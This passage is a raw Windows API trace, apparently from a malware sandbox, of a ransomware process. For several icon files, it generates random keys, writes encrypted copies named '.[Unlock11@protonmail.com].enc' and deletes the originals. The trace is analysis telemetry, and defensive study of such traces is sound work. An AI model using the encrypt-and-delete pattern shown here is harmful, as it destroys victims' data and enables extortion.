RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea610 [0115.337] GetCurrentThreadId () returned 0x9b0 [0115.337] GetLastError () returned 0x0 [0115.337] GetLastError () returned 0x0 [0115.337] GetLastError () returned 0x0 [0115.337] GetLastError () returned 0x0 [0115.337] GetCurrentThreadId () returned 0x9b0 [0115.337] GetLastError () returned 0x0 [0115.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea610 | out: hHeap=0x2ad0000) returned 1 [0115.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0115.337] GetLastError () returned 0x0 [0115.337] GetLastError () returned 0x0 [0115.337] GetLastError () returned 0x0 [0115.338] GetLastError () returned 0x0 [0115.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0115.338] GetLastError () returned 0x0 [0115.338] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0115.338] GetFileType (hFile=0x39c) returned 0x1 [0115.338] GetLastError () returned 0x0 [0115.338] GetCurrentThreadId () returned 0x9b0 [0115.338] GetLastError () returned 0x0 [0115.338] GetFileType (hFile=0x39c) returned 0x1 [0115.339] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.339] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.339] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.339] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.339] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.339] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.339] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.339] GetLastError () returned 0x0 [0115.339] GetCurrentThreadId () returned 0x9b0 [0115.339] GetLastError () returned 0x0 [0115.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a88 | out: hHeap=0x2ad0000) returned 1 [0115.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0115.339] GetLastError () returned 0x0 [0115.339] GetLastError () returned 0x0 [0115.340] GetLastError () returned 0x0 [0115.340] GetLastError () returned 0x0 [0115.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0115.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a58 [0115.340] GetLastError () returned 0x0 [0115.340] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0115.340] GetFileType (hFile=0x3ac) returned 0x1 [0115.341] GetLastError () returned 0x0 [0115.341] GetCurrentThreadId () returned 0x9b0 [0115.341] GetLastError () returned 0x0 [0115.341] GetFileType (hFile=0x3ac) returned 0x1 [0115.341] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.341] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.341] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.341] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.341] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.341] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.341] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.341] GetLastError () returned 0x0 [0115.341] GetCurrentThreadId () returned 0x9b0 [0115.341] GetLastError () returned 0x0 [0115.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a58 | out: hHeap=0x2ad0000) returned 1 [0115.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a24b8 | out: hHeap=0x2ad0000) returned 1 [0115.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0115.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0115.342] GetLastError () returned 0x0 [0115.342] GetLastError () returned 0x0 [0115.342] GetCurrentThreadId () returned 0x9b0 [0115.342] GetLastError () returned 0x0 [0115.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0115.342] GetLastError () returned 0x0 [0115.342] GetLastError () returned 0x0 [0115.343] GetCurrentThreadId () returned 0x9b0 [0115.343] GetLastError () returned 0x0 [0115.343] GetLastError () returned 0x0 [0115.344] GetLastError () returned 0x0 [0115.344] GetCurrentThreadId () returned 0x9b0 [0115.344] GetLastError () returned 0x0 [0115.344] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x393) returned 0x35c5908 [0115.344] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x395) returned 0x35c5908 [0115.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6b58 [0115.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bb8 | out: hHeap=0x2ad0000) returned 1 [0115.345] GetCurrentThreadId () returned 0x9b0 [0115.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x398) returned 0x3888188 [0115.345] GetLastError () returned 0x0 [0115.345] GetLastError () returned 0x0 [0115.345] GetLastError () returned 0x0 [0115.345] GetLastError () returned 0x0 [0115.345] GetCurrentThreadId () returned 0x9b0 [0115.345] GetLastError () returned 0x0 [0115.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3888188 | out: hHeap=0x2ad0000) returned 1 [0115.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0115.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0115.346] GetLastError () returned 0x0 [0115.346] GetLastError () returned 0x0 [0115.346] GetCurrentThreadId () returned 0x9b0 [0115.346] GetLastError () returned 0x0 [0115.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38893d0 | out: hHeap=0x2ad0000) returned 1 [0115.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5ca8 [0115.346] GetLastError () returned 0x0 [0115.346] GetLastError () returned 0x0 [0115.346] GetCurrentThreadId () returned 0x9b0 [0115.346] GetLastError () returned 0x0 [0115.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ca8 | out: hHeap=0x2ad0000) returned 1 [0115.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0115.347] GetLastError () returned 0x0 [0115.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0115.348] CloseHandle (hObject=0x3ac) returned 1 [0115.348] GetLastError () returned 0x0 [0115.348] GetCurrentThreadId () returned 0x9b0 [0115.348] GetLastError () returned 0x0 [0115.349] GetLastError () returned 0x0 [0115.349] CloseHandle (hObject=0x39c) returned 1 [0115.349] GetLastError () returned 0x0 [0115.349] GetCurrentThreadId () returned 0x9b0 [0115.349] GetLastError () returned 0x0 [0115.349] GetLastError () returned 0x0 [0115.349] GetLastError () returned 0x0 [0115.349] GetLastError () returned 0x0 [0115.350] GetLastError () returned 0x0 [0115.350] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 1 [0115.351] GetLastError () returned 0x0 [0115.351] GetCurrentThreadId () returned 0x9b0 [0115.351] GetLastError () returned 0x0 [0115.351] GetCurrentThreadId () returned 0x9b0 [0115.351] GetLastError () returned 0x0 [0115.351] GetLastError () returned 0x0 [0115.352] GetLastError () returned 0x0 [0115.352] GetLastError () returned 0x0 [0115.352] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico", lpFilePart=0x9bada4*="Rotate6.ico") returned 0x2a [0115.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0115.352] GetCurrentThreadId () returned 0x9b0 [0115.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0115.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0115.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0115.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea660 [0115.353] GetLastError () returned 0x0 [0115.353] GetLastError () returned 0x0 [0115.353] GetLastError () returned 0x0 [0115.353] GetLastError () returned 0x0 [0115.353] GetCurrentThreadId () returned 0x9b0 [0115.353] GetLastError () returned 0x0 [0115.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea660 | out: hHeap=0x2ad0000) returned 1 [0115.354] GetCurrentThreadId () returned 0x9b0 [0115.354] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea598 [0115.354] GetLastError () returned 0x0 [0115.354] GetLastError () returned 0x0 [0115.354] GetLastError () returned 0x0 [0115.354] GetLastError () returned 0x0 [0115.354] GetCurrentThreadId () returned 0x9b0 [0115.355] GetLastError () returned 0x0 [0115.355] GetLastError () returned 0x0 [0115.355] GetLastError () returned 0x0 [0115.355] GetLastError () returned 0x0 [0115.355] GetLastError () returned 0x0 [0115.355] GetCurrentThreadId () returned 0x9b0 [0115.355] GetLastError () returned 0x0 [0115.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea598 | out: hHeap=0x2ad0000) returned 1 [0115.355] GetLastError () returned 0x0 [0115.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0115.356] GetLastError () returned 0x0 [0115.356] GetLastError () returned 0x0 [0115.356] GetLastError () returned 0x0 [0115.356] GetCurrentThreadId () returned 0x9b0 [0115.356] GetLastError () returned 0x0 [0115.356] GetCurrentThreadId () returned 0x9b0 [0115.356] GetLastError () returned 0x0 [0115.356] GetLastError () returned 0x0 [0115.357] GetLastError () returned 0x0 [0115.357] GetLastError () returned 0x0 [0115.357] GetCurrentThreadId () returned 0x9b0 [0115.357] GetLastError () returned 0x0 [0115.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab28 | out: hHeap=0x2ad0000) returned 1 [0115.357] GetLastError () returned 0x0 [0115.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0115.358] GetCurrentThreadId () returned 0x9b0 [0115.358] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1 [0115.358] GetCurrentThreadId () returned 0x9b0 [0115.358] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664cdc | out: pbBuffer=0x3664cdc) returned 1 [0115.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0115.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0115.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0115.359] GetCurrentThreadId () returned 0x9b0 [0115.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea660 [0115.359] GetCurrentThreadId () returned 0x9b0 [0115.359] GetCurrentThreadId () returned 0x9b0 [0115.359] GetCurrentThreadId () returned 0x9b0 [0115.360] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0115.360] GetFileType (hFile=0x39c) returned 0x1 [0115.360] GetCurrentThreadId () returned 0x9b0 [0115.360] GetFileType (hFile=0x39c) returned 0x1 [0115.361] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.361] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.361] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.361] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.361] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.361] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.361] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.361] GetLastError () returned 0x0 [0115.361] GetCurrentThreadId () returned 0x9b0 [0115.361] GetLastError () returned 0x0 [0115.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69c8 | out: hHeap=0x2ad0000) returned 1 [0115.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0115.362] GetLastError () returned 0x0 [0115.362] GetLastError () returned 0x0 [0115.362] GetLastError () returned 0x0 [0115.362] GetLastError () returned 0x0 [0115.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0115.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ab8 [0115.363] GetLastError () returned 0x0 [0115.363] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0115.363] GetFileType (hFile=0x3ac) returned 0x1 [0115.363] GetLastError () returned 0x0 [0115.363] GetCurrentThreadId () returned 0x9b0 [0115.363] GetLastError () returned 0x0 [0115.364] GetFileType (hFile=0x3ac) returned 0x1 [0115.364] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.364] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.364] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.364] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.364] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.364] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.364] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.364] GetLastError () returned 0x0 [0115.365] GetCurrentThreadId () returned 0x9b0 [0115.365] GetLastError () returned 0x0 [0115.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0115.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1e88 | out: hHeap=0x2ad0000) returned 1 [0115.365] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0115.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0115.365] GetLastError () returned 0x0 [0115.365] GetLastError () returned 0x0 [0115.366] GetCurrentThreadId () returned 0x9b0 [0115.366] GetLastError () returned 0x0 [0115.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0115.366] GetLastError () returned 0x0 [0115.366] GetLastError () returned 0x0 [0115.366] GetCurrentThreadId () returned 0x9b0 [0115.366] GetLastError () returned 0x0 [0115.366] GetLastError () returned 0x0 [0115.368] GetLastError () returned 0x0 [0115.368] GetCurrentThreadId () returned 0x9b0 [0115.368] GetLastError () returned 0x0 [0115.368] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x393) returned 0x35c5908 [0115.368] GetCurrentThreadId () returned 0x9b0 [0115.369] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x395) returned 0x35c5908 [0115.369] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6b48 [0115.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6aa8 | out: hHeap=0x2ad0000) returned 1 [0115.369] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x398) returned 0x3887a38 [0115.369] GetLastError () returned 0x0 [0115.369] GetLastError () returned 0x0 [0115.369] GetLastError () returned 0x0 [0115.369] GetLastError () returned 0x0 [0115.369] GetCurrentThreadId () returned 0x9b0 [0115.369] GetLastError () returned 0x0 [0115.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a38 | out: hHeap=0x2ad0000) returned 1 [0115.370] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0115.370] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0115.370] GetLastError () returned 0x0 [0115.370] GetLastError () returned 0x0 [0115.370] GetCurrentThreadId () returned 0x9b0 [0115.370] GetLastError () returned 0x0 [0115.370] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38893d0 | out: hHeap=0x2ad0000) returned 1 [0115.370] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5ca8 [0115.370] GetLastError () returned 0x0 [0115.370] GetLastError () returned 0x0 [0115.370] GetCurrentThreadId () returned 0x9b0 [0115.370] GetLastError () returned 0x0 [0115.371] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ca8 | out: hHeap=0x2ad0000) returned 1 [0115.371] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0115.371] GetLastError () returned 0x0 [0115.372] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0115.372] CloseHandle (hObject=0x3ac) returned 1 [0115.372] GetLastError () returned 0x0 [0115.372] GetCurrentThreadId () returned 0x9b0 [0115.372] GetLastError () returned 0x0 [0115.372] GetLastError () returned 0x0 [0115.372] CloseHandle (hObject=0x39c) returned 1 [0115.372] GetLastError () returned 0x0 [0115.373] GetCurrentThreadId () returned 0x9b0 [0115.373] GetLastError () returned 0x0 [0115.373] GetCurrentThreadId () returned 0x9b0 [0115.373] GetLastError () returned 0x0 [0115.373] GetLastError () returned 0x0 [0115.373] GetLastError () returned 0x0 [0115.373] GetLastError () returned 0x0 [0115.373] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 1 [0115.374] GetLastError () returned 0x0 [0115.374] GetCurrentThreadId () returned 0x9b0 [0115.374] GetLastError () returned 0x0 [0115.374] GetLastError () returned 0x0 [0115.374] GetLastError () returned 0x0 [0115.374] GetLastError () returned 0x0 [0115.375] GetLastError () returned 0x0 [0115.375] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico", lpFilePart=0x9bada4*="Rotate7.ico") returned 0x2a [0115.375] GetCurrentThreadId () returned 0x9b0 [0115.375] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0115.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0115.375] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0115.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0115.375] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea7f0 [0115.375] GetLastError () returned 0x0 [0115.375] GetLastError () returned 0x0 [0115.376] GetLastError () returned 0x0 [0115.376] GetLastError () returned 0x0 [0115.376] GetCurrentThreadId () returned 0x9b0 [0115.376] GetLastError () returned 0x0 [0115.376] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea7f0 | out: hHeap=0x2ad0000) returned 1 [0115.376] GetCurrentThreadId () returned 0x9b0 [0115.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea610 [0115.376] GetLastError () returned 0x0 [0115.376] GetLastError () returned 0x0 [0115.376] GetLastError () returned 0x0 [0115.377] GetLastError () returned 0x0 [0115.377] GetCurrentThreadId () returned 0x9b0 [0115.377] GetLastError () returned 0x0 [0115.377] GetLastError () returned 0x0 [0115.377] GetLastError () returned 0x0 [0115.377] GetLastError () returned 0x0 [0115.377] GetLastError () returned 0x0 [0115.377] GetCurrentThreadId () returned 0x9b0 [0115.377] GetLastError () returned 0x0 [0115.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea610 | out: hHeap=0x2ad0000) returned 1 [0115.377] GetLastError () returned 0x0 [0115.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0115.378] GetLastError () returned 0x0 [0115.378] GetLastError () returned 0x0 [0115.378] GetLastError () returned 0x0 [0115.378] GetCurrentThreadId () returned 0x9b0 [0115.378] GetLastError () returned 0x0 [0115.378] GetCurrentThreadId () returned 0x9b0 [0115.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a7e8 [0115.378] GetLastError () returned 0x0 [0115.378] GetLastError () returned 0x0 [0115.378] GetLastError () returned 0x0 [0115.378] GetLastError () returned 0x0 [0115.379] GetCurrentThreadId () returned 0x9b0 [0115.379] GetLastError () returned 0x0 [0115.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0115.379] GetLastError () returned 0x0 [0115.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0115.379] GetLastError () returned 0x0 [0115.379] GetLastError () returned 0x0 [0115.379] GetLastError () returned 0x0 [0115.379] GetCurrentThreadId () returned 0x9b0 [0115.379] GetLastError () returned 0x0 [0115.380] GetLastError () returned 0x0 [0115.380] GetLastError () returned 0x0 [0115.380] GetLastError () returned 0x0 [0115.380] GetLastError () returned 0x0 [0115.380] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0115.380] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1 [0115.380] GetLastError () returned 0x0 [0115.380] GetCurrentThreadId () returned 0x9b0 [0115.381] GetLastError () returned 0x0 [0115.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0115.381] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664c64 | out: pbBuffer=0x3664c64) returned 1 [0115.381] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0115.381] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0115.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0115.381] GetCurrentThreadId () returned 0x9b0 [0115.381] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea660 [0115.381] GetLastError () returned 0x0 [0115.382] GetLastError () returned 0x0 [0115.382] GetLastError () returned 0x0 [0115.382] GetLastError () returned 0x0 [0115.382] GetCurrentThreadId () returned 0x9b0 [0115.382] GetLastError () returned 0x0 [0115.382] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea660 | out: hHeap=0x2ad0000) returned 1 [0115.382] GetCurrentThreadId () returned 0x9b0 [0115.382] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, 